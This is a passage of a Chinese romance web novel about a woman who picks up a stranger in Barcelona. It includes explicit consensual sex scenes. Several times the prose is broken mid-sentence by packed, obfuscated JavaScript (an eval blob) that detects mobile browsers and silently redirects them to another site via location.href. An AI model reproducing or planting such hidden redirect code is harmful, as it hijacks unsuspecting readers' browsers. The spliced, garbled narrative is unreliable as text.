林献收回视线,清晰地报出一串数字。 “谢谢谢谢……”皮一夏然后拎上背包,拖着苏晨雪就走。 两人脚刚抬起,又听见贺章说:“皮小姐。” “啊?” “号码能记下吗?” “能能能。”皮一夏讪笑着朝他摇摇手机,打开备忘录,边记号码边走,“再见。” “再见,皮小姐。” 皮一夏脚踩风火轮,走出一丈远后,苏晨雪扯了扯她手:“皮皮,林助理为什么叫你Lola小姐?你什么时候叫Lola了?” “就半个月前,刚起的名字。”等等!皮一夏猛地停下脚,见鬼一样看向苏晨雪,“刚刚贺总说什么?” “说什么?不就问你能不能记下号码,然后说再见吗?”苏晨雪一头雾水。 “不是不是……我是问,他喊我什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林献感觉他心情不错,不由松了口气:“属下遵命。”贺章往城堡方向走,他迅速跟上,“Ethan,那位Lola小姐,挺好的。” 贺章没理会这句话。 林献敏锐地察觉到身边人的气场更平和了,于是又顺杆爬地说了句:“秋天是适合恋爱的季节。” 贺章掀眼:“你差不多行了。” “好的,属下遵命。” 十一点半,婚仪开始了,皮一夏却没回宴会厅。 她在客房里洗了个澡,换了件苏婉愉的衣服,幸好新娘和伴娘这几天都在酒店备婚,穿戴首饰都有富裕的。 只不过她很丢人就是了。 来参加个婚礼,先把自己的裙子弄脏了,讹了贺章半件旗袍,然后旗袍也泡水了,又借了新娘一条裙子,最后还没顾上去围观婚礼,错过了一顿豪门大餐……真是流年不利。 想到贺章刚才的称呼,更是满心苦涩,皮一夏坐在套间外的沙发上,一脸茫然地发呆。她凡事不喜欢纠结太久,怔忪了一会儿也就释然了,反正天塌不下来,事已至此,先吃饭吧。 苏晨雪帮她叫了客房服务,送来一堆吃的,都在茶几上。她拆开一次性筷子,扒拉了几口饭,正吃着,苏晨雪突然回来了。 “你不是去前边吃席了吗?”皮一夏惊讶道。 “婚仪结束了,现在在敬酒,没什么好看的,我就回来了。”苏晨雪兴冲冲走过来,脱掉鞋子坐到沙发上,双臂抱膝,“我要听故事,现在你可没借口敷衍我了吧。” 皮一夏咬着筷子沉默片刻:“你要保证两件事。” “你说。” “一,绝对保密,不告诉任何人。二,不许笑话我,不许带有色眼镜看我,要坚信我是一个道德高尚的人。” “好的。你快说,不要墨迹。” 皮一夏咬了咬牙,沉声说:“事情还要从上个月开始说起,我跟渣男分手了,原因你都知道,对吧。” 苏晨雪点头如捣蒜:“嗯嗯,知道。” 接下来,她听皮一夏讲了足足十分钟如何发现前男友撩骚,如何跟前男友对质,心情如何悲愤和失望,甚至爱情观也产生了动摇等等……苏晨雪一拍沙发:“进入正题!!” 美人儿发怒还挺可怕的。 皮一夏缩了缩脖子:“马上就进入正题了,但前面的铺垫也很重要嘛,这样你就能理解接下来我做的事,有他的合理性,以及必然性……” “我已经理解了,下一章!” “好的。”皮一夏乖巧说,“总之就是,我把你的贺章哥哥那什么……睡、睡了一下。” 连她这种一向荤素不忌的,提起这种事,还觉得脸上火辣辣的,更别提苏苏这样的母胎单身小白兔了。 苏晨雪先是一愣,继而震惊地慢慢张大嘴,又缓缓拿手捂住了嘴巴。 贺章啊!那可是贺章……她从来没听说过他的花边新闻,他身边别说女孩子了,连狗都是公的……那样严肃又板正的人,怎么会发生这种事? 苏晨雪眼睛亮晶晶的,十分想知道事情的起因和经过,但大家闺秀的教养让她隐隐感觉,一上来就窥探这样的私隐,有点羞耻,于是压抑着好奇和激动的心,先礼貌而克制地问了一句结果。 “他好、好睡吗?” 6. 酒吧 皮一夏属实没想到她会这么问,蒙了一下才回:“……挺好睡的。”简直不能更好了。 今年六月,华森文娱旗下乐播影视播出的一部现代剧爆火,这部剧的拍摄取景地是西班牙巴塞罗那,随着剧集热度不断攀升,巴塞罗那的搜索量也随之水涨船高。 剧集播到尾声,巴塞罗那旅游局发出邀约,邀请平台和片方去参观,并合作拍摄一支旅游宣传片。 皮一夏作为此次行程的主要负责人,带领拍摄团队于八月初落地巴塞罗那,经过二十天紧张忙碌的工作后,宣传片拍摄完成,团队留了一天时间修整,决定二十三号上午返京。 同事们商量着结伴嗨玩一整天,晚上再去酒吧喝酒,皮一夏没参加,独自离队逛街去了。 来巴塞罗那之前,她刚跟前男友赵方达提了分手,连郁闷的时间都没有,就进了宣传片项目,没日没夜的干了大半个月,巴塞罗那的美景都没顾上好好看,现在工作结束了,她决定一个人好好逛逛,顺便散散心。 虽然她的恋爱经历丰富,连苏苏都以为,她已经修炼出了钢铁心脏,即便失恋,也不会难过,但其实不是这样。 每一次恋爱,她自认都很投入,因此分手时,受伤也是真的。只不过她一向很看得开,不会自讨苦吃太久。然而,跟赵方达的恋爱和以往还不太一样。 她是认真考虑过跟他的以后。 赵方达这个人,工作稳定、个性踏实、虽然长得很一般,但会笨拙地对她好,所以当她发现这样的人也有花花肠子时,那种震惊和失望,是巨大的。 在巴塞罗那的二十天,赵方达一直在求和,不停解释跟那位女生纯属意外,从没想过要发生什么,希望她不要这么苛刻。 皮一夏也开始反思,是不是她太较真了。 也许真如赵方达说的,是那个女生微信摇到了他,两人加上之后聊了几天,言辞虽然过火,但都是开玩笑的,甚至算不上精神出轨,是她小题大作了,应该给一次考察的机会。 她有那么一点动摇。 然而内心还是十分膈应这件事,满腔愤懑地想报复赵方达。最好的办法就是,让他也尝尝被人背叛的滋味,看他能不能原谅! 贺章就是在这种情况下,闯入了她的视线。 彼时天色将晚,她从巴塞罗那圣家堂出来,沿着兰布拉大道闲逛。 古色古香的十九世纪建筑分布在道路两旁,金黄色的夕阳像丝缎一样流泻在墙上,美得让人忘记了一切烦恼。 这是巴塞罗那最有名的步行街,街边的餐馆、花店、画摊鳞次栉比,流浪艺人和雕塑五花八门,各色游人穿行其间,热闹非凡。 在这样的熙攘之中,她一眼看见了贺章。 他当时坐在街边的露天咖啡店,手里拿着一本小小的书,低头看得认真。 有的人,好像天生自带气场,即便穿着最简单的白色T恤和黑色裤子,周身没有一点装饰,头发也没什么造型,就那么自然地垂落着,但就是像鹤立鸡群一般,吸引人的目光。 他坐的是一张临街的四人桌,白色桌布上面铺着一条红绸餐巾,浅咖色帆布吧椅,另外三张椅子空着。 她几乎毫不犹豫地走了过去,拉开他斜对角的一张椅子,坐下去。 贺章没有抬眼。 她发现,他拿的竟然是黑色油皮的小开本《圣经》。在这么喧闹的大街上,安安静静地看圣经,是有点奇怪的。他是信徒吗?还是刚逛完大教堂,从教堂里顺便买的? 她有点好奇,但没有打扰,点了一杯摩卡,自顾自喝了一会儿,眼神不时瞟向他,可惜视线一直都没有对上过。 咖啡喝到一半,她终于决定打破平静,于是率先开口说:“Hello?” 他有点惊讶地抬起头,朝她看了过来。 一张纯正的亚洲面孔,斯文儒雅,稍显淡漠,但看上去很无害的脸。 他似乎怔了一下,等着她说明意图。 “请问,你是中国人吗?还是日本?韩国?” 他盯着她,没有说话。 她以为他听不懂中国话,于是用不太流利的英语说:“Doyouknow,whereistheBarcelonaCathedral(你知道巴塞罗那大教堂在哪吗)? 他的神情若有所思,但依旧没有说话。 她有点尴尬,心想,也听不懂英文吗?还是不会说话呢? 过了几秒,她有点顶不住,打算撤退时,他终于开口了。 “沿着这条路,前面路口左转过马路,直行到迪士尼商店旁边路口右转,直行经过公共医疗中心再左转,走几十米就到了。” “原来你是中国人啊,太好了!” 她的喜悦不是假的,在异国街头遇见同胞,总是会多几分亲近的,而且,他的声音还好听,让人想起夏日午后的山泉。 “如果你现在方便的话,可以带我过去吗?”她怕他直接拒绝,忙又补充了句,“我刚来到巴塞罗那,还不太熟悉,不过不会白让你带路的,我可以请你喝东西,好吗?” 也许是她诚恳的语气和真挚的表情打动了他,他沉默几秒后,合上圣经,站了起来。 “走吧。” “谢谢。”她乖巧地笑了一下。 两人并行的时候,她才发现他长得好高啊,她的头顶到他肩膀,那他至少有185吧,那双大长腿格外有存在感,配上阔腿裤和白色运动鞋,简直像画报里的街拍男模。 “我叫Lola,你叫什么呢?”她主动找话题。 “Ethan。”他的回应很简练,且看上去没有继续攀谈的意思。 她知道,从兰布拉大街到主教堂,走路最多不过二十分钟。要想在这么短的时间内,跟一个人熟悉起来,有点难,但不妨一试。 “你是在本地居住吗?还是来旅行的呢?”她又问。 “参加拍卖会。” “哦,你有想拍的东西吗?是什么呢?” “车。” 好吧。虽然惜字如金,但至少事事回应。 “我是休年假过来旅游的,一下飞机就把行李箱丢了,幸好证件什么的都在背包里,希望警察能帮忙找到吧。哎……这里的人好多,我有点路痴,导航都导不明白,幸亏遇见了好心人,希望不会耽误你太多时间。” 他看了她一眼,说:“没事。” 她有点泄气。 都已经给了这么多信息量了,还是不愿意搭话吗?算了……闲着也是闲着,就当社交练习了。 “你听说过一种酒吗?叫玛丽莲.卡瓦起泡酒。”不等他回应,她继续说,“是巴塞罗那本地特有的,关于这种酒,有个美丽的传说。” 他似乎被勾起了兴趣,看了她一眼。 “传说喝三杯玛丽莲.卡瓦起泡酒,人就能烦恼全消,喝五杯,会收获此生不渝的爱情。” 他轻轻嗤笑了一声,却没说什么。 “你不相信吗?” “当然不信。” “好吧,虽然只是个传说,但是如果真有酒能让你烦恼全消,还能拥有美好的爱情,你也不喝吗?” 他说:“我没有烦恼。” 她有点惊讶,这世上竟然有人没烦恼吗? “能解决的事都不算烦恼。”他又补了一句。 她耸了耸肩:“解决不了的呢?” “没有。” 好大的口气!这么自信吗? “那爱情呢?”她又问。 “我不需要。” 好吧……真是个奇怪的人。 “这么说来,你也没有女朋友,或者妻子吗?”她盯着他,冷不防与他视线对上,心里动了一下,脸上露出温良的笑,“别误会,我没有要刺探你隐私的意思,可以不用回答。” 然而他沉默了几秒,还是回答了。 “没有。” 说话的功夫,他们已经拐过了两个路口,街边有一家糖果店,她停下来秤了一些。五颜六色的糖果装在透明的玻璃瓶里,她要分一瓶给他,他说不吃糖果,拒绝了。 太阳快落山了,街上的行人反倒更多了。 在第三个路口转弯时,她差点被一个手风琴艺人撞上,被他抓住手臂,往路旁拉了一下,但很快就放开了。 “谢谢。” 他没说话。 就在她纠结该怎么邀请他喝一杯时,他停下脚说:“前面就是教堂了,接下来你自己走吧。不过教堂应该快关门了。” 说完就要掉头,她也顾不上纠结了,径直问:“我想请你喝杯酒,感谢你帮忙带路,可以吗?” 那双好看的眼睛里闪过讶异,似乎没想到她会发出邀请。 以她的了解,多半会遭到拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428020|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝,但不妨最后努力一次,于是快速补充说:“其实我没想去逛教堂,本来就是要去酒吧的。几年前跟男朋友来过一次的酒吧,我记得是在教堂附近,也算是……故地重游吧。既然你不要糖果,那么请不要拒绝一杯酒,好吗?” 她摆出了最乖巧的笑,用了发自肺腑的诚挚语气,紧紧盯着那双漆黑的、稍显淡漠的眼睛。 虽然这一路聊天的内容不是真的,但此时期待他答应的心情,却不是假的。 他沉默不语,眼神带了几分审视,好像要看进她的心里,又仿佛透过她的眼睛,在看别的什么东西。 片刻后说了句:“可以。”倒是让她愣了一下。 就这么同意了?好像不太符合他一路上疏离冷淡的风格。 但无论如何,同意了就好。 接下来,他们走进一家叫MatisBar的酒吧,点了几样餐前轻食,一杯口感复杂深邃的尼格罗尼,一杯清新酸甜的玛格丽特。 这家酒吧人不太多,放着悠扬的爵士乐,灯光昏暗却不至沉闷,墙上挂着中世纪油画和复古装饰,氛围很好。 碰第一杯时,她真心感谢了他的善意领路,酸甜沁爽的鸡尾酒经喉咙流进胃里,心情瞬间开阔了不少。 他放下酒杯,忽然问:“怎么没跟男朋友一起来?” 没想到他会主动交谈,她怔了怔才回:“分手了。” 为了搭讪,她编出一个几年前跟男朋友一起来过的酒吧,虽然不存在这么一个男朋友,但分手了这回事却是真的。 她想起了赵方达,那个分手进行中的男朋友。可能是她的语气有点低落,贺章竟然主动提起酒杯,跟她碰了一下。 是表达遗憾?她有点受宠若惊。 “没关系,分开三年了。是我自己还没走出来,你知道,初恋最难忘。说起来,你有什么难忘的人吗?” 他漫不经心地喝了口酒:“有那么一个人。算不上难忘,只是偶尔想起。” 刚才来的路上还说,不需要爱情,现在又有一个偶尔想起的人,看来是有情伤……有故事的男人最有魅力。 好想听。 但她克制地没有探究隐私,只是点点头表示意会,然后拿起酒杯,跟他轻轻碰了一下。 “如果喝完这杯酒,能让你忘记那个人,你愿意吗?”她问。 他的唇角轻抬,眼里闪过一瞬的兴味,没有回答这个问题,倒是反问她。 “你呢?愿意忘记你的初恋男友吗?” “愿意。”她语气断然,露出一个失落的表情,黯然道,“可惜没有这种酒。” 一个忘不了初恋男友,选择来异国他乡故地重游的漂亮女人,此刻展示出了她的脆弱和落寞,如果这样的桥段,能激起身边男人的保护欲,在两人之间催化出微妙的化学反应——她今天的目的就达到了。 她仰头看着他,楚楚可怜的。 就在这时,右肩被人撞了一下,等她反应过来时,已经扑到了他身上。 总有一些时刻,一些情愫,是毫无道理、猝不及防发生的。 在他下意识扶住她手臂,而她的另一只手搭在他肩头,上半身几乎贴在他胸前,盯着他漆黑的、漂亮的眼睛时,她的心脏,忽然快速跳了几下。 起先是因为受惊,后来是因为上头。 酒精上头。 秀色可餐的男人更上头。 她的鼻子在他下巴附近,闻到了他身上的味道,似乎是剃须水味,很清爽。 他很快放开了手。 她也顺势坐直了身子,在吧台边的高脚椅上,他们又恢复了并排而坐的姿势。 刚才被撞那一下,是因为酒吧里发生了点小插曲。 有一男一女两个外国人,原本在喝酒交谈,然后进来一个大胡子的男人,和两个人发生了争执,最后大胡子男一把拉起那女人走了,经过他们身边时,不小心撞到了她。 可能是一个三角关系故事吧。 她勾起鬓边的发丝别到耳后,说了一句:“抱歉。” “没事。”他喝了口酒,声音依然是淡漠的、不为所动的。 就是这一瞬间,她忽然不想让这段艳遇轻描淡写地结束。在美丽的巴塞罗那,应该发生更香艳的故事。 她托起下巴,歪头看他。 是真古板?还是假正经?她要测试一下。 7. 风月 她又要了两杯酒,就着不咸不淡地话题,喝到快见底,迎来了最美好的微醺状态。 太阳完全落山了,酒吧外面亮起了路灯,街上还是很热闹,女人的笑声、歌声、琴声,融进霓虹的夜里。相比之下,酒吧里反倒显得冷清了。 正当她打算推进时,他忽然放下酒杯说:“感谢你的酒,我要走了。” 他只喝了一杯。虽然她有意再灌他两杯,但被拒绝了。 见他要走,她也站起身,结果一不小心打翻了杯子,里面的酒撒了出来。 她穿的是一件晕染五彩大花的度假风吊带连衣裙,外罩鹅黄色防晒小衫。酒水打湿了小衫,她顺势脱了下来,然后自然地仰起头,温婉地朝他笑。 “我也要走了。” 光裸的肩膀和手臂,总该挑起他一丝丝情欲吧。她盯着他眼睛,试图从中发现不一样的神色。 可他仍然无动于衷,十分正经地看着她的脸,眼光都没有斜一下。让她的小心机,好像一个笑话。 真是难搞啊! 他们并肩走到酒吧门口,结了账。 踏出门前,他的手机铃声忽然响了,接起来说了几句话,英语,似乎是工作上的事,很快就挂断了。 走到熙攘的大街上,她忽然说:“可不可以,麻烦你送我去酒店?” 他停下脚看着她,等一个理由。 或是借口。 她有点脸热,低头说:“我喝了点酒,虽然没醉,但在异国街头,一个人还是有点害怕。如果你没有要紧的事,不如一起散散酒。不会太远,我记得,这附近就有一个酒店。” 一直没听见他的声音。 在她忍不住抬眼看过去时,他说:“Lola小姐似乎,很不怕麻烦我。” 这下她是真的脸红了。 在过去的很多段恋爱里,她几乎都是被追求者,印象里只有一任是她先注意到对方,主动释放了信号,然后很快就在一起了,像今天这种明确地搭讪、耍心机,还从来没有过。 勾搭人勾搭到这份上,得亏是在遥远的异国他乡。反正分开后这辈子没机会再见,无论她怎么发疯,都不会有人知道。 只可惜,被勾搭的人防守意识太强,并不太上道。 就在她打算放弃时,又听他淡淡地说了一句:“走吧。” 她有点惊讶,愣了两秒才小声说:“谢谢。” 往酒店去的路上,她除了在领路时说,往这边拐,往那边拐,没有再主动聊天。 刚才被他奚落了一句,倒不是不能承受,反正她脸皮厚,一向是结果导向的,只是突然有一点羞愧。 她借着失恋的名义,不怀好意地接近,鬼话连篇地骗他领路,又让他陪自己耗了一个晚上,虽然看上去他没什么损失,但这样子对待一个不知情的、对她释放善意的人,多少有点不道德。 一段美好的风月故事,应该用更磊落的笔法去书写。 她在心里狠狠地鄙视自己,低垂着头,不肯再看他,冷不丁听见一声:“看路。” 猛然抬头,差点撞上一个凸出的铁窗户。 “谢谢。” 她躲过障碍物,偏头看过去,恰好对上他的眼神,于是赶紧躲开了。 有点不好意思看他了。 接下来的路程,他一直很绅士地走在道路外侧,目不斜视,和她保持着礼貌的社交距离。 但他腿长,步子迈得大,她一直跟得有点吃力,距离酒店还有一半路程时,感觉……他好像慢了下来。 是为了迁就她吗? 他们并肩而行,期间又不经意对视了两眼。她默默地想,这样斯文又好看的男人,真的好不想放过他! 很快走到一家叫ColonHotel的酒店。直到办完了入住,她还没解开内心的纠结:到底要怎么收拾这一场风月? 他站在酒店大堂里,等着和她告别。 她拿上房卡,慢吞吞走到他面前,盯着他漆黑的眼睛,快速说:“你要上去,坐一会儿吗?” 快刀斩乱麻吧。 既然都走到这一步了,把选择权交给他。她不会再耍手段就是了,他一个成年人,又不傻,如果不想,谁也拦不住他。 果然他说:“不了。再见。” 冷冰冰的四个字,他说完略一颔首,转身就走。虽然早有心理准备,听见他拒绝还是有点失望。 “等等……” 她盯着走到玻璃门边的背影,忽然叫停,然后快步跑过去:“其实我今天……是有意接近你的。” 主动坦白,是突然决定的。 他的拒绝像一个休止符,如果任由乐章戛然而止在此处,她会觉得今晚像一首不流畅的、嘲哳的歌,以后想起来,大概不能释怀。然而坦白后有什么后果,她还没顾上细想。 也许他会很愤怒,指责她浪费他的时间,那也是她应得的。 她站得笔直,准备承受怒火。 他缓缓转过身来,盯着她,神情似乎没有很惊讶,只是瞳色更黑了,像风暴来临前的天色,沉得让人透不过气。就在她承受不住,羞愧地低下头时,他说:“还有吗?” 她一愣,知道他有所察觉,索性闭了闭眼,小声而快速地说:“我确实和男朋友分手了,但不是初恋男友,也没有三年。” 虽然还有别的谎话,但她实在没勇气再坦白了,就先坦白最大的这两个吧。 “对不起。你可以向我表达愤怒了。” 空气静默良久,今晚喝下去的酒,好像在此时突然蒸发上涌了,她脑子有点晕,身体却拢在一团寒凉的雾气里,忍不住抬手,抚了抚光裸的手臂。 忽然听见一声轻哂,等她抬起头时,他的脸上又恢复了不动声色的漠然。 “Lola小姐,行李箱丢在哪里了?” 她错愕一瞬,挤出一句:“……酒店房间。” “巴塞罗那有‘玛丽莲.卡瓦起泡酒’吗?” “……没有。”几乎是气声的两个字。 对不起。 “很好。”他微微挑眉,连连点头,深深地看了她一眼,“再见。”接着干脆利落地转身,推开了酒店大门。 她透过玻璃,望着他远去的背影,步伐还是那么沉稳而笃定,大概彻底不想再跟她说一句话了。 反正也没机会了。 她站在原地呆了一会儿,深吸口气,走回酒店前台。本来想问,能不能退掉刚定的房间,但她此刻感觉很疲惫,完全没力气回到团队下榻的酒店。 算了,反正来都来了。她拿着房卡,进电梯,上楼,去了405房间。 在床上躺了一会儿,恢复了些力气,打开微信,看见项目群里在分享照片。团队的小伙伴看上去玩得很开心,这会儿正在酒吧喝酒,艾特她问要不要来。 得了吧,她今晚喝了三杯鸡尾酒,已经有点上头了。 “不去了,你们好好玩,别喝太多,明天醉得爬不起来误了飞机,我会鲨人。” 她回复了一句,就退出微信,起身逛起酒店房间。 这是一个标准的大床房,透过露台上的窗,能看到不远处的教堂。 浴室也挺宽敞的,还配备了浴缸……完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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四目相对,她迅速移开了视线。 他站着没动,她往右挪回一脚,擦着他的胳膊,快步进了卫生间。关上门,靠在墙上深呼吸,抚了抚刚才碰到他的那条手臂,有点麻。 洗澡,护肤,吹干头发……机械地完成这一套操作,估摸快一个小时吧,她待在洗手间里没出去。 镜子里的人裹着浴巾,下沿在臀部以下,无论怎么往下扯,也只有这么长了。 她尴尬极了,扯起一缕长发,不停地在食指上绕圈,松开,再绕圈。 头发是浅黄色,出差之间才染的,苏苏经常说她长得像洋娃娃,染了这个发色之后,更像了。 这样乖巧的一张脸,在职场上的优势是让人想要亲近,劣势是看着好欺负,不太像能管人的。 但是亲近她的人很快会发现,她的脾气其实有点暴躁,欺负她的人也很快会收到相应强度的报复。 苏苏说她是表里不一的人,只是看着乖,时不时要惹出个不好收场的祸事。现在,她又要惹祸了。 深吸一口气,她拉开浴室的门,走了出去。 贺章坐在露台的沙发椅上,手里拿着一本杂志,闻声回望过来。 一双漆黑的,沉静如夜色的眼睛。 “我好了。”她垂下眼说。 一手抓着浴巾上沿的结,另一手扯着浴巾下沿,毛巾横披在肩头,多少遮住了一点风光,两条光/裸的腿并在一起,一次性拖鞋里,脚尖紧紧抠着地面。 8. 愉悦 他放下杂志,站起身往浴室走,路过她时步履不停,连目光也没有斜视。 等人进了浴室,关上门,她提着的那口气才轻轻吐出来。 快步走到床边坐下,从背包里翻出钱包,打开,视线被里面掉出的东西晃了一下。落到床上才看清,是一个安/全/套。 她出差之前从超市里买的。 本来打算给赵方达用,结果没用上,就发现了他撩骚别的女生……眼下,她也背叛了赵方达,言辞勾引其他男人,扯平了,并且还来到了酒店里,准备发生实质性关系。 愤怒、失望的感觉一瞬间淡了,连同她对赵方达残存的感情,还有那一点动摇的心思,也都消失了。 她把安/全/套随手丢进垃圾桶,拿起手机,给赵方达发微信。 两人的聊天记录还停留在三天前。赵方达说不会跟她分手,问她几号回来,要当面聊。她当时没回复,现在可以回复了。 「我也背叛你了。」 发完微信,就把赵方达拉黑删除了。 小题大做又怎样?她就是这样一个有精神洁癖,容忍不了思想开小差的,小心眼的人。 现在她彻底释然了。 放下手机,又捡起钱包打开,从里面取出一百欧,走到露台上的圆桌旁。 桌上放着小开本圣经,她本来想把钱塞进圣经的书页里,转念觉得不太尊重,又抽出被圣经压着一个角的皮夹子,把纸币团吧团吧,塞进了皮夹缝隙里。 是刚才在便利店买东西的钱,AA。 重新坐回床上时,洗手间里哗哗的水声还没停。那种喉咙紧绷的感觉又上来了,她呆坐了一会儿,上床,钻进被子里躺下。 浴巾因为这一动作散开了,急忙又坐起来裹好。确认不会轻易松开后,靠在床头,捞起被子,严严实实地蒙住了脖子以下。 虽然有点欲盖弥彰,但这样比较有安全感。 一个陌生的,不知来历的男人,即将和她坐在一张床上,盖同一条被子。 老天,事情是怎么发生的?她咽了咽口水,忽然觉得,从傍晚到现在发生的一切都不真实。 那个耍花招骗人的,笑得温婉乖巧的,故意碰翻酒杯,脱掉衬衫的女人……是她吗?她虽然在男女关系上确实挺大胆的,但有这么大胆吗? 以前和朋友说起约P这个词,坦然得像喝凉白开一样,根本没有任何的绮思和羞耻,如今身临其境,她尴尬地只剩抠指甲。 忐忑不安地想了会儿心思,打开矿泉水瓶喝了几口,感觉稍微舒展了一些。 卫生间里水声一停,心脏顿时又提了起来。她咬着嘴唇,恨恨捶了下床。 别怂皮一夏!多大个事啊!! 来都来了。 感谢这四个字,好像真的没那么忐忑了。 过了大概十分钟,吹风机也停了,卫生间的门一开,她下意识抬眼看过去。 男人黑发半干,白色浴巾围在腰间,浴巾往上,是精瘦的腹肌,再往上,肩臂结实……一个成熟男性的身体,原来是如此有冲击力。 她瞬间脸红耳热,默默移开了眼,手从被子里伸出来,借着挠头的动作,遮住了自己的视线。希望也能遮住他看过来的视线。 他走过来了,站在床头,一直没说话。 气氛尴尬得让人头皮发麻,她恨不得缩成一团,钻进被子里蒙上头。但……事已至此,还是抬起头吧。 “你洗好了?”她假装坦然地回视,问了一句废话。 他“嗯”了一声:“要开始吗?” 救命!如此精壮的胸肌、英俊的面容,这样问话,她很难不想到从事特殊服务的人。 “……开始吧。”她咬牙说。 他坐到床边,掀起了被子一角。 “等一下!”她忽然咽了咽口水,“那个……那个东西,别忘了。” 他一愣,旋即点头。起身走到电视柜前,从购物袋里拿出刚才买的安/全/套,拆开包装,拿出一枚走回来,再次掀起被子一角,她揪着被子的手攥的更紧了。 床垫猛地下沉,她忽然又喊:“等一下!” “……” 他眉心微蹙,似乎有点不耐烦了。 “你是不是,应该先戴好?”她瞟了他一眼,快速说。 “……” 身旁传来窸窸窣窣的声音……过了一会儿,被子挑动了下,十分有压迫感的身躯,终于还是坐到了她旁边。 她正要开口,忽然被身边人出声堵住了。 “还等吗?”语气凉凉的。 这辈子没这么被人拿捏过。她敢发誓,这会儿她的脸一定比煮熟的虾还红, “……不等了。” 她闭上眼睛,松开了抓被子的手,坦然地靠坐在床头。 身边人靠得更近,她屏住了呼吸,谁知他一直没动作,她忍不住缓缓睁开了眼睛。 一张英俊的脸,离她只有十公分,她忽然心脏停跳。 “你是准备,英勇赴死吗?”能听出来,他有点无语。 他们并排坐着,肩膀的皮肤若即若离,他双臂环抱,略偏着头打量她。 “难道是第一次吗?” 她的脑子里一片空白,下意识说:“当然不是!”输人不能输阵,“难道你是吗?” 他神色一顿,喉结轻轻滚动。 “当然也不是。” 话音落,他一手揽住她的背,另一手伸进被子里,勾住她腿,略一使力,就把她直挺挺平放到了床上。 光裸的胸膛就在她身体上方,修长的手指缓缓拨开了浴巾的结。 瞬间坦城相对,她猛地环起手臂抱住胸前,却被他攥住一双手腕,压到了枕头上方。 ……好羞耻。 她曲起双腿,试图缩成一团,又被他死死压了下去。 她紧闭双眼,感觉到他窸窣的动作,还有低沉的嗓音,温热的鼻息在她颈边:“闭着眼,不觉得亏?” 不亏。快点的吧。别说话了。 渐渐有柔软触感,落在她肩头,还有一些不可说的地方……有点痒,她忍不住蜷起脚趾。 过了一会儿,感觉他鼓捣了半天,还是没到要害,她忍不住睁开了眼。 “……你真的,不是第一次吗?” 他脸上似有什么神色一闪而过,她没看清,下一秒,听见他冷硬的声音说:“不是。”然后一阵钝痛,袭穿了她的身体。 那感觉并不好受……所以当事情结束时,她暗暗松了一口气。平复了一会儿呼吸,她起身裹上浴巾,下床,去卫生间洗澡。 讲真,这事到底有什么好?她感觉走路都不自在。 幸好买了一次性浴缸套,可以好好享受泡澡时光,来修复她受到的心灵创伤。 身体浸在温热的水里,她渐渐松懈了精神。 突然,卫生间的门被敲响。 “可以进来吗?”他在外问。 她脑子一懵,迅速坐起身。 他进来干嘛?四下无遮挡,连块浴帘都没有,她只好抓起浴巾草草裹住了身体。 但是,做都做了,这样好像有点矫情。 “进。”她冷静地说。 于是他站在门边,下半身裹着浴巾,看着浴缸里的她,上半身裹着浴巾……四目相对,彼此都有点不自在。 “做什么?”她问。 他商议的口吻说:“要不要,再来一次?” “……”为什么? 他似乎看出了她眼里的问号,补充道:“你刚才,似乎没有很愉悦。” “???” “我想,这并不是你今晚的预期体验。”他淡淡地说。 所以呢?还要主动提供售后吗?他的服务精神还怪好的。她忍不住想笑,咬着唇忍住了。 不过他说得也有道理。 既然人人都觉得这道菜是名菜,那她必须享用到最正宗的味道,才算不白来。 “来吧。”她冷静地说。 于是,他们在浴缸里试了一次……水花四溅,几乎欲死,结束时,心脏猛跳了好一阵才平复。 她终于理解了为什么世上的人乐此不疲。确实,感觉很不错。 但她全程表现得还算克制,总担心一不留神,就变成了什么奇怪的女人。 虽然已经够奇怪了。 等两人都躺在床上时,她腿根发酸,体内隐隐灼痛,实在没有力气了,所以当背后的触碰再一次出现时,她有点生气。 这个人,还有完没完! 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428022|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵机一动,问他:“今晚,足够让你忘记那个偶尔想起的人吗?” 触碰忽然停下,他沉默了几秒说:“没那个必要。” 什么意思?构不成烦恼,所以没必要忘记?还是没必要用她来忘记? “再来一次。”他果断道。 她忽然起了坏心思:“好啊。” 坐起身四下看了看,想起他今天穿的不是正装,没有领带,有点失望。本欲作罢,视线忽然转到衣帽间里的棕色单肩包,包带上系着一条装饰用的墨绿色丝巾。 她裹好浴巾,走到衣帽间,解下背包上的丝巾,回来跪坐在床上:“我们玩点不一样的。” 她不由分说,拉住他的手臂,眼睛一直盯着他的脸,见他眉心缓缓皱了起来。 “不愿意?那就算了。” 